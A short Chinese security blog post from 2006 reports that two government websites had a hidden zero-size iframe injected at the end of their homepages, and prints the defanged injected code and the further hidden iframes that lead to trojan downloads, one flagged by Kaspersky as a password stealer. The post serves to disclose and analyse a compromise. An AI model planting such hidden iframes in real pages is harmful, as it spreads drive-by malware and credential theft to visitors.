0
点赞
收藏
分享

微信扫一扫

两个下载恶意程序文件的政府网站换花样了


endurer 原创

2006-08-22 第1

今天又看了看​​ 两个会自动下载恶意程序文件的政府网站​​ 一文中的两个网站,发现换了花样。

两个网站首页末均被加入:

/---------
<iframe src="hxxp://www.wzx***qy.com/" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
---------/

hxxp://www.wzx***qy.com/ 的代码为:
/---------
<script language="javascript" src="hxxp://count1***0.51yes.com/click.aspx?id=106674545&logo=8"></script>
<iframe src=hxxp://www.wzx***qy.com/2**/index.htm width=0 height=0></iframe>
<iframe src=hxxp://www.wzx***qy.com/1**/index.htm width=0 height=0></iframe>
<iframe src=hxxp://www.wzx***qy.com/3**/index.htm width=0 height=0></iframe>
---------/

分别下载恶意文件:

qq.exezhengtu.exe(Kaspersky 报为 Trojan-PSW.Win32.Delf.ob
jianghu.exe

举报

相关推荐

0 条评论